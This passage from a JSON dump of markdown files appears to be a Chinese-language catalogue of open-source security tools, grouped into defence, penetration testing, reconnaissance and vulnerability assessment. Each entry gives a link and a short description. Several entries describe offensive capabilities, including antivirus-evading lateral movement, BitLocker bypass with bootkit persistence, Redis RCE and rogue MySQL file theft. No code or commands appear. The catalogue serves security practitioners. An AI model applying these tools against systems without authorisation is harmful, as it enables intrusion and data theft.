stars](https://img.shields.io/github/stars/pascal-lab/Tai-e.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.1-red)\n\n<https://github.com/pascal-lab/Tai-e>\n\nTai-e（太阿）是一个通用型Java程序分析框架，包含了开发程序分析技术所需的各类基础设施，并提供了可配置性高、功能强大的污点分析系统，用于检测各类隐私泄露、注入攻击等安全漏洞。\n\n### [murphysec](detail/murphysec.md)\n![Author](https://img.shields.io/badge/Author-murphysecurity-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/murphysecurity/murphysec.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.10.0-red)\n\n<https://github.com/murphysecurity/murphysec>\n\n墨菲安全专注于软件供应链安全，murphysec 是墨菲安全的 CLI 工具，用于在命令行检测指定目录代码的依赖安全问题，也可以基于 CLI 工具实现在 CI 流程的检测。\n\n### [appshark](detail/appshark.md)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![Language](https://img.shields.io/badge/Language-Kotlin-blue)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/appshark.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1.2-red)\n\n<https://github.com/bytedance/appshark>\n\nAppshark 是一个针对安卓的静态分析工具，它的设计目标是针对超大型App的分析，Appshark支持基于json的自定义扫描规则,发现自己关心的安全漏洞以及隐私合规问题，支持灵活配置，可以在准确率以及扫描时间空间之间寻求平衡，支持自定义扩展规则，根据自己的业务需要，进行定制分析\n\n### [camille](detail/camille.md)\n![Author](https://img.shields.io/badge/Author-zhengjim-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/zhengjim/camille.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/zhengjim/camille>\n\n现如今APP隐私合规十分重要，各监管部门不断开展APP专项治理工作及核查通报，不合规的APP通知整改或直接下架。camille可以hook住Android敏感接口，并识别是否为第三方SDK调用。根据隐私合规的场景，辅助检查是否符合隐私合规标准。\n\n### [veinmind-tools](detail/veinmind-tools.md)\n![Author](https://img.shields.io/badge/Author-长亭科技-orange)\n![Language](https://img.shields.io/badge/Language-Golang/Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/chaitin/veinmind-tools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.5-red)\n\n<https://github.com/chaitin/veinmind-tools>\n\nveinmind-tools 是基于 veinmind-sdk 打造的一个容器安全工具集，目前已支持镜像 恶意文件/后门/敏感信息/弱口令 的扫描，更多功能正在逐步开发中。\n\n### [OpenStar](detail/OpenStar.md)\n![Author](https://img.shields.io/badge/Author-starjun-orange)\n![Language](https://img.shields.io/badge/Language-JS/Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/starjun/openstar.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/starjun/openstar>\n\nOpenStar 是一个基于 OpenResty 的高性能 Web 应用防火墙，支持复杂规则编写。提供了常规的 HTTP 字段规则配置，还提供了 IP 黑白名单、访问频次等配置，对于 CC 防护更提供的特定的规则算法，并且支持搭建集群进行防护。\n\n### [AppScan](detail/AppScan.md)\n![Author](https://img.shields.io/badge/Author-TongchengOpenSource-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/TongchengOpenSource/AppScan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.5-red)\n\n<https://github.com/TongchengOpenSource/AppScan>\n\n安全隐私卫士（AppScan）一款免费的企业级自动化App隐私合规检测工具\n\n### [GShark](detail/gshark.md)\n![Author](https://img.shields.io/badge/Author-madneal-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/madneal/gshark.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.6.5-red)\n\n<https://github.com/madneal/gshark>\n\n一款开源敏感信息检测系统，可以监测包括 GitHub, GitLab(支持私有部署版本), Postman, searchcode 多个平台的敏感信息监测。\n\n### [Juggler](detail/Juggler.md)\n![Author](https://img.shields.io/badge/Author-C4o-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/C4o/Juggler.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/C4o/Juggler>\n\n一个也许能骗到黑客的系统，可以作为WAF等防护体系的一环。\n\n### [vArmor](detail/vArmor.md)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/vArmor.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.9.2-red)\n\n<https://github.com/bytedance/vArmor>\n\nvArmor 是一个云原生容器沙箱系统，它借助 Linux 的 LSM 技术（AppArmor & BPF）实现强制访问控制器（即 enforcer），从而对容器进行安全加固。它可以用于增强容器隔离性、减少内核攻击面、增加容器逃逸或横行移动攻击的难度与成本。vArmor 遵循 Kubernetes Operator 设计模式，用户可通过操作 CRD API 对特定的 Workload 进行加固。从而以更贴近业务的视角，实现对容器化微服务的沙箱加固。此外 vArmor 还包含多种内置加固策略，具备开箱即用的特性。\n\n### [Hades](detail/Hades.md)\n![Author](https://img.shields.io/badge/Author-theSecHunter-orange)\n![Language](https://img.shields.io/badge/Language-Golang&C++&C-blue)\n![GitHub stars](https://img.shields.io/github/stars/theSecHunter/Hades.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.0-red)\n\n<https://github.com/theSecHunter/Hades>\n\nHades 是一款支持 Windows/Linux 的内核级别数据采集主机入侵检测系统，其中每个插件均可独立分开运行。\n\n"
  },
  {
    "path": "penetration_test.md",
    "content": "## 攻击与利用 / penetration_test\n\n1. [dperf](#dperf)\n2. [CDK](#cdk)\n3. [pocsuite3](#pocsuite3)\n4. [MDUT](#mdut)\n5. [JYso](#jyso)\n6. [BurpCrypto](#burpcrypto)\n7. [WMIHACKER](#wmihacker)\n8. [MySQL-Fake-Server](#mysql-fake-server)\n9. [DNSlog-GO](#dnslog-go)\n10. [Cloud-Bucket-Leak-Detection-Tools](#cloud-bucket-leak-detection-tools)\n11. [ysomap](#ysomap)\n12. [Antenna](#antenna)\n13. [GrabAccess](#grabaccess)\n14. [Redis-Rogue-Server](#redis-rogue-server)\n15. [Cola-Dnslog](#cola-dnslog)\n16. [MysqlT](#mysqlt)\n\n----------------------------------------\n\n### [dperf](detail/dperf.md)\n![Author](https://img.shields.io/badge/Author-Benjamin-orange)\n![Language](https://img.shields.io/badge/Language-C-blue)\n![GitHub stars](https://img.shields.io/github/stars/baidu/dperf.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.8.0-red)\n\n<https://github.com/baidu/dperf>\n\ndperf 是一个100Gbps的网络性能与压力测试软件。国内多个知名安全厂商用dperf测试其防火墙。知名开源四层负载均衡DPVS在用dperf做性能测试，发布性能测试报告。\n\n### [CDK](detail/CDK.md)\n![Author](https://img.shields.io/badge/Author-cdkteam-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/cdk-team/CDK.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.6-red)\n\n<https://github.com/cdk-team/CDK>\n\nCDK是一款为容器环境定制的渗透测试工具，在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的逃逸、横向移动、持久化利用方式，插件化管理。\n\n### [pocsuite3](detail/pocsuite3.md)\n![Author](https://img.shields.io/badge/Author-knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/pocsuite3.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.0-red)\n\n<https://github.com/knownsec/pocsuite3>\n\npocsuite3是由Knownsec 404团队开发的开源远程漏洞测试和概念验证开发框架。它带有强大的概念验证引擎，以及针对最终渗透测试人员和安全研究人员的许多强大功能。\n\n### [MDUT](detail/MDUT.md)\n![Author](https://img.shields.io/badge/Author-Ch1ngg-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/SafeGroceryStore/MDUT.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.1-red)\n\n<https://github.com/SafeGroceryStore/MDUT>\n\nMDUT 全称 Multiple Database Utilization Tools，旨在将常见的数据库利用手段集合在一个程序中，打破各种数据库利用工具需要各种环境导致使用相当不便的隔阂；MDUT 使用 Java 开发，支持跨平台使用。\n\n### [JYso](detail/JYso.md)\n![Author](https://img.shields.io/badge/Author-qi4L-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/qi4L/JYso.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.3.6.1-red)\n\n<https://github.com/qi4L/JYso>\n\nJYso是一个可以用于 jndi 注入攻击和生成反序列化数据流的工具，既可以当 JNDIExploit 用也可以当作 ysoserial 使用。\n\n### [BurpCrypto](detail/BurpCrypto.md)\n![Author](https://img.shields.io/badge/Author-whwlsfb-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/whwlsfb/BurpCrypto.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/whwlsfb/BurpCrypto>\n\n支持多种加密算法或直接执行JS代码的用于爆破前端加密的BurpSuite插件。\n\n### [WMIHACKER](detail/WMIHACKER.md)\n![Author](https://img.shields.io/badge/Author-rootclay-orange)\n![Language](https://img.shields.io/badge/Language-VBScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/rootclay/WMIHACKER.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/rootclay/WMIHACKER>\n\nWMIHACKER是一款免杀横向渗透远程命令执行工具，常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令，这些方式都已经被杀软100%拦截，通过改造出的WMIHACKER可免杀横向移动。并且在企业网络目前阻断445端口严重的情况下可以无需445端口进行横向移动，效率高且不易被检测。\n\n### [MySQL-Fake-Server](detail/MySQL-Fake-Server.md)\n![Author](https://img.shields.io/badge/Author-fnmsd-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/fnmsd/MySQL_Fake_Server.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/fnmsd/MySQL_Fake_Server>\n\n用于渗透测试过程中的假MySQL服务器，纯原生python3实现，不依赖其它包。\n\n### [DNSlog-GO](detail/DNSlog-GO.md)\n![Author](https://img.shields.io/badge/Author-lanyi-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/lanyi1998/DNSlog-GO.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.3.1-red)\n\n<https://github.com/lanyi1998/DNSlog-GO>\n\nDNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具，自带WEB界面。单文件运行，无依赖。部署方便快捷。\n\n### [Cloud-Bucket-Leak-Detection-Tools](detail/Cloud-Bucket-Leak-Detection-Tools.md)\n![Author](https://img.shields.io/badge/Author-UzJu-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/UzJu/Cloud-Bucket-Leak-Detection-Tools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.4.0-red)\n\n<https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools>\n\nCloud-Bucket-Leak-Detection-Tools是一款针对云厂商存储桶扫描检测与利用的工具\n\n### [ysomap](detail/ysomap.md)\n![Author](https://img.shields.io/badge/Author-wh1t3p1g-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/wh1t3p1g/ysomap.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1.4-red)\n\n<https://github.com/wh1t3p1g/ysomap>\n\nYsomap是一款适配于各类实际复杂环境的Java反序列化利用框架，可动态配置具备不同执行效果的Java反序列化利用链payload，以应对不同场景下的反序列化利用。\n\n### [Antenna](detail/Antenna.md)\n![Author](https://img.shields.io/badge/Author-wuba-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/wuba/Antenna.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.3.5-red)\n\n<https://github.com/wuba/Antenna>\n\nAntenna是58同城安全团队打造的一款辅助安全从业人员辅助验证网络中多种漏洞是否存在以及可利用性的工具。其基于带外应用安全测试( OAST)通过任务的形式，将不同漏洞场景检测能力通过插件的形式进行集合，通过与目标进行Out-of-bind的数据通信方式进行辅助检测。\n\n### [GrabAccess](detail/GrabAccess.md)\n![Author](https://img.shields.io/badge/Author-Push3AX-orange)\n![Language](https://img.shields.io/badge/Language-C-blue)\n![GitHub stars](https://img.shields.io/github/stars/Push3AX/GrabAccess.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1-red)\n\n<https://github.com/Push3AX/GrabAccess>\n\nGrabAccess：Bookit/Windows登陆密码和Bitlocker绕过工具，在物理接触目标计算机的情况下，GrabAccess可以：绕过Windows登陆密码执行任意操作（以System权限执行命令、重置Windows账户密码等），植入木马并添加自启动（可以绕过Bitlocker，但要求受害者登录），通过修改主板UEFI固件实现无视重装系统、更换硬盘的持久化（Bootkit）\n\n### [Redis-Rogue-Server](detail/Redis-Rogue-Server.md)\n![Author](https://img.shields.io/badge/Author-Dliv3-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/Dliv3/redis-rogue-server.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/Dliv3/redis-rogue-server>\n\nRedis 4.x/Redis 5.x RCE利用脚本. 项目最初来源于 <https://github.com/n0b0dyCN/redis-rogue-server>\n\n### [Cola-Dnslog](detail/Cola-Dnslog.md)\n![Author](https://img.shields.io/badge/Author-AbelChe-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/AbelChe/cola_dnslog.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/AbelChe/cola_dnslog>\n\nCola Dnslog 是一款更加强大的dnslog平台(无回显漏洞探测辅助平台)，支持dns http ldap rmi等协议，提供API调用方式便于与其他工具结合，支持钉钉机器人、Bark等提醒，并支持docker一键部署。\n\n### [MysqlT](detail/MysqlT.md)\n![Author](https://img.shields.io/badge/Author-BeichenDream-orange)\n![Language](https://img.shields.io/badge/Language-C%23-blue)\n![GitHub stars](https://img.shields.io/github/stars/BeichenDream/MysqlT.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/BeichenDream/MysqlT>\n\n伪造Myslq服务端,并利用Mysql逻辑漏洞来获取客户端的任意文件反击攻击。\n\n"
  },
  {
    "path": "reconnaissance.md",
    "content": "## 信息收集 / reconnaissance\n\n1. [ENScanGo](#enscango)\n2. [HaE](#hae)\n3. [AppInfoScanner](#appinfoscanner)\n4. [ksubdomain](#ksubdomain)\n5. [qscan](#qscan)\n6. [Kunyu](#kunyu)\n7. [Glass](#glass)\n8. [scaninfo](#scaninfo)\n9. [ZoomEye-Python](#zoomeye-python)\n10. [ct](#ct)\n11. [xtate](#xtate)\n12. [Zoomeye-Tools](#zoomeye-tools)\n13. [ZoomEye-go](#zoomeye-go)\n14. [vultrap](#vultrap)\n\n----------------------------------------\n\n### [ENScanGo](detail/ENScanGo.md)\n![Author](https://img.shields.io/badge/Author-wgpsec-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/wgpsec/ENScan_GO.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.4-red)\n\n<https://github.com/wgpsec/ENScan_GO>\n\n一款基于各大企业信息API的工具，解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。\n\n### [HaE](detail/HaE.md)\n![Author](https://img.shields.io/badge/Author-gh0stkey-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/gh0stkey/HaE.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V5.1.1-red)\n\n<https://github.com/gh0stkey/HaE>\n\nHaE是一款可以快速挖掘目标指纹和关键信息的Burp插件。\n\n### [AppInfoScanner](detail/AppInfoScanner.md)\n![Author](https://img.shields.io/badge/Author-kelvinBen-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/kelvinBen/AppInfoScanner.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.9-red)\n\n<https://github.com/kelvinBen/AppInfoScanner>\n\n一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具，可以帮助渗透测试工程师、攻击队成员、红队成员快速收集到移动端或者静态WEB站点中关键的资产信息并提供基本的信息输出,如：Title、Domain、CDN、指纹信息、状态信息等。\n\n### [ksubdomain](detail/ksubdomain.md)\n![Author](https://img.shields.io/badge/Author-w8ay-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/boy-hack/ksubdomain.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.2.1-red)\n\n<https://github.com/boy-hack/ksubdomain>\n\nksubdomain是一款基于无状态子域名爆破工具，支持在Windows/Linux/Mac上使用，它会很快的进行DNS爆破，在Mac和Windows上理论最大发包速度在30w/s,linux上为160w/s的速度。\n\n### [qscan](detail/qscan.md)\n![Author](https://img.shields.io/badge/Author-qi4L-orange)\n![Language](https://img.shields.io/badge/Language-Go-blue)\n![GitHub stars](https://img.shields.io/github/stars/qi4L/qscan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.8.1-red)\n\n<https://github.com/qi4L/qscan>\n\n一个速度极快的内网扫描器，具备端口扫描、协议检测、指纹识别，暴力破解，漏洞探测等功能。支持协议1200+，协议指纹10000+，应用指纹20000+，暴力破解协议10余种。\n\n### [Kunyu](detail/Kunyu.md)\n![Author](https://img.shields.io/badge/Author-风起-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/Kunyu.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.0-red)\n\n<https://github.com/knownsec/Kunyu>\n\nKunyu(坤舆)，是一款基于ZoomEye API开发的信息收集工具，旨在让企业资产收集更高效，使更多安全相关从业者了解、使用网络空间测绘技术。\n\n### [Glass](detail/Glass.md)\n![Author](https://img.shields.io/badge/Author-s7ckTeam-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/s7ckTeam/Glass.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.6-red)\n\n<https://github.com/s7ckTeam/Glass>\n\nGlass是一款针对资产列表的快速指纹识别工具，通过调用Fofa/ZoomEye/Shodan/360等api接口快速查询资产信息并识别重点资产的指纹，也可针对IP/IP段或资产列表进行快速的指纹识别。\n\n### [scaninfo](detail/scaninfo.md)\n![Author](https://img.shields.io/badge/Author-华东360安服团队-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/redtoolskobe/scaninfo.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.0-red)\n\n<https://github.com/redtoolskobe/scaninfo>\n\nscaninfo 是一款开源、轻量、快速、跨平台的红队内外网打点扫描器。比较同类工具，其能够在 nmap 的扫描速度和 masscan 的准确度之间寻找一个较好的平衡点，能够快速进行端口扫描和服务识别，内置指纹识别用于 web 探测，可以用报告的方式整理扫描结果。\n\n### [ZoomEye-Python](detail/ZoomEye-Python.md)\n![Author](https://img.shields.io/badge/Author-Knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/ZoomEye-python.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.0.0-red)\n\n<https://github.com/knownsec/ZoomEye-python>\n\nZoomEye-python 是一款基于 ZoomEye API 开发的 Python 库，提供了 ZoomEye 命令行模式，同时也可以作为 SDK 集成到其他工具中。该库可以让技术人员更便捷地搜索、筛选、导出 ZoomEye 的数据\n\n### [ct](detail/ct.md)\n![Author](https://img.shields.io/badge/Author-rungobier@Knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Rust-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/ct.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.9-red)\n\n<https://github.com/knownsec/ct>\n\nct 是一款使用 rust 语言进行开发，并且基于ZoomEye域名查询以及利用域名字典进行子域名爆破的工具，同时在最终爆破完成后可使用脚本，将相应的的.gv 文件转化成为相应的 .png 文件进行可视化展示\n\n### [xtate](detail/xtate.md)\n![Author](https://img.shields.io/badge/Author-sharkocha-orange)\n![Language](https://img.shields.io/badge/Language-C-blue)\n![GitHub stars](https://img.shields.io/github/stars/babycoff/xtate.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.13.0-red)\n\n<https://github.com/babycoff/xtate>\n\nXtate是面向互联网规模网络测量的模块化全栈扫描器（框架）。利用自研的应用层无状态扫描模型ZBanner和混合状态轻量级TCP协议栈HLTCP实现异步高速扫描。与已有的无状态端口扫描器只能探测端口是否开放不同，Xtate基于应用层无状态扫描模型，在千兆带宽下能够在6分钟内完成中国大陆地址集中所有80端口的开放性检测和Banner抓取。基于HLTCP用户态协议栈实现和TLS支持，Xtate也能够在有状态模式下执行多轮数据交互的高速扫描，包括TLS上层服务Banner抓取。Xtate框架提供统一接口以自定义模块实现不同的扫描任务，专注于大规模网络的协议层面测量（包括传输层、应用层和TLS上层服务），具有坚实的底层高速异步数据包收发机制，期望为学术和实践领域中大规模网络测量的各种算法和任务提供承载平台。\n\n### [Zoomeye-Tools](detail/ZoomEye-Tools.md)\n![Author](https://img.shields.io/badge/Author-Knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-JS-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/Zoomeye-Tools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.3.2-red)\n\n<https://github.com/knownsec/Zoomeye-Tools>\n\n一个配合ZoomEye使用的Chrome插件，可以查看当前网页所在ip信息或跳转查看详细信息，还可以根据关键词一键跳转至ZoomEye进行搜索\n\n### [ZoomEye-go](detail/ZoomEye-go.md)\n![Author](https://img.shields.io/badge/Author-gyyyy-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/gyyyy/ZoomEye-go.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.0-red)\n\n<https://github.com/gyyyy/ZoomEye-go>\n\nZoomEye-go 是一款基于 ZoomEye API 开发的 Golang 库，提供了 ZoomEye 命令行模式，同时也可以作为SDK集成到其他工具中。该库可以让技术人员更便捷地搜索、筛选、导出 ZoomEye 的数据。\n\n### [vultrap](detail/vultrap.md)\n![Author](https://img.shields.io/badge/Author-liqzz-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/liqzz/vultrap.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/liqzz/vultrap>\n\n在开源领域，从来不缺少优秀的漏洞POC框架和POC，现今情况下，当有相关漏洞的漏洞情报出现的时候，其用于漏洞的验证的POC代码或利用请求都会很快的被公布在互联网上，比如Nuclei等漏洞检测框架也会即时得跟进新的漏洞，并以漏洞检测模板的形式进行更新，如nuclei 的nuclei-temaplte 仓库几乎每天都会出现新的漏洞需求和检测模板提交。对于漏洞检测模板而言，其主要目的用来验证目标是否存在漏洞，但仔细了解漏洞检测的机制之后，漏洞检测大多数情况下实际就是构造请求和判断响应的过程，那么基于次，是否可以反向思维，通过判断漏洞验证的请求来返回迷惑性的结果，扰乱扫描器的判断呢，其实本质还是honeypot的思路，也可以称“漏洞伪装”，也是本项目 vultrap的实现背景。\n\n"
  },
  {
    "path": "vulnerability_assessment.md",
    "content": "## 漏洞探测 / vulnerability_assessment\n\n1. [afrog](#afrog)\n2. [Kunpeng](#kunpeng)\n3. [Pocassist](#pocassist)\n4. [myscan](#myscan)\n5. [LSpider](#lspider)\n\n----------------------------------------\n\n### [afrog](detail/afrog.md)\n![Author](https://img.shields.io/badge/Author-zan8in-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/zan8in/afrog.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.3.9-red)\n\n<https://github.com/zan8in/afrog>\n\nafrog 是一款性能卓越、快速稳定、PoC 可定制的漏洞扫描工具，PoC 包含 CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型，帮助网络安全从业者快速验证并及时修复漏洞。\n\n### [Kunpeng](detail/Kunpeng.md)\n![Author](https://img.shields.io/badge/Author-opensec-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/opensec-cn/kunpeng.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/opensec-cn/kunpeng>\n\nKunpeng是一个Golang编写的开源POC检测框架，集成了包括数据库、中间件、web组件、cms等等的漏洞POC，可检测弱口令、SQL注入、XSS、RCE等漏洞类型，以动态链接库的形式提供调用，通过此项目可快速开发漏洞检测类的系统，比攻击者快一步发现风险漏洞。\n\n### [Pocassist](detail/Pocassist.md)\n![Author](https://img.shields.io/badge/Author-jweny-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/jweny/pocassist.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.5-red)\n\n<https://github.com/jweny/pocassist>\n\nPocassist 是一个 Golang 编写的全新开源漏洞测试框架，帮助安全人员专注于漏洞验证的逻辑的实现。Pocassist 提供了简洁的 Web 图形化界面，用户可以在线编辑漏洞验证程序即可进行批量的测试；规则完全兼容 xray，可以直接使用现有开源的 PoC 库，同时也支持添加自定义规则。\n\n### [myscan](detail/myscan.md)\n![Author](https://img.shields.io/badge/Author-amcai-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/amcai/myscan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/amcai/myscan>\n\nmyscan是参考awvs的poc目录架构，pocsuite3、sqlmap等代码框架，以及搜集互联网上大量的poc，由python3开发而成的被动扫描工具。\n\n### [LSpider](detail/LSpider.md)\n![Author](https://img.shields.io/badge/Author-LoRexxar-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/LSpider.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.2-red)\n\n<https://github.com/knownsec/LSpider>\n\nLSpider 一个为被动扫描器定制的前端爬虫\n\n"
  }
]